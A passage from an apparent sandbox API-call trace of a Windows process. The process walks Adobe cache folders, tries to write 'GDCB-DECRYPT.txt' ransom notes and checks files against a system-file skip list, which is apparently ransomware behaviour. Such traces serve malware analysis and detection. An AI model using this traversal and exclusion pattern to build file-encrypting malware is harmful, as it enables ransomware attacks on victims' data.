Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0169.927] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4918 [0169.928] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.928] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.928] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.928] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.928] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.928] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.928] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.928] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0169.928] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned 123 [0169.928] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.928] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.928] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.928] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0169.928] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 134 [0169.928] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.928] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.928] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0169.928] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0169.928] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0169.929] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 131 [0169.929] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0169.929] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.929] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.929] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt") returned 135 [0169.929] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.930] GetLastError () returned 0x50 [0169.930] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.930] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 118 [0169.930] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0169.930] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a4918 [0169.930] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.930] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.930] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.930] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.930] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.930] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.930] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.930] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0169.930] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\" [0169.930] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.931] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.931] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 124 [0169.931] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0169.931] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4d18 [0169.931] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.931] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0169.931] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.931] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.931] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0169.931] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0169.931] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0169.931] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0169.931] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 130 [0169.931] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0169.931] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0169.931] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0169.931] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0169.931] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 130 [0169.931] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0169.931] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0169.931] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0169.931] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0169.931] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 130 [0169.931] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0169.931] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0169.931] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0169.931] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0169.931] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 130 [0169.931] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0169.931] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.932] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.932] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0169.932] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 140 [0169.932] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.932] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0169.932] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0169.932] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0169.932] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0169.932] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 129 [0169.932] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0169.932] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.932] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.932] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt") returned 141 [0169.932] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.933] GetLastError () returned 0x50 [0169.933] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.933] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 124 [0169.933] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0169.933] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4d18 [0169.933] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.933] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0169.933] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.933] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.933] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0169.934] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0169.934] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0169.934] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0169.934] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.934] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 130 [0169.934] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 130 [0169.934] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.934] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0169.934] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0169.934] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0169.934] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0169.934] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.934] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 130 [0169.934] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 130 [0169.934] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.934] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0169.934] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0169.934] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0169.934] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0169.934] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.935] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 130 [0169.935] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 130 [0169.935] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.935] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0169.935] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0169.935] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0169.935] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0169.935] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.935] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 130 [0169.935] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 130 [0169.935] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.935] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0169.935] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.936] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.936] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0169.936] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.936] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 140 [0169.936] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 140 [0169.936] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 140 [0169.936] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 140 [0169.936] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.936] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.936] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.936] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.936] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.936] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.936] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.936] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.936] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.936] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.936] FindNextFileW (in: hFindFile=0x5a4d18, 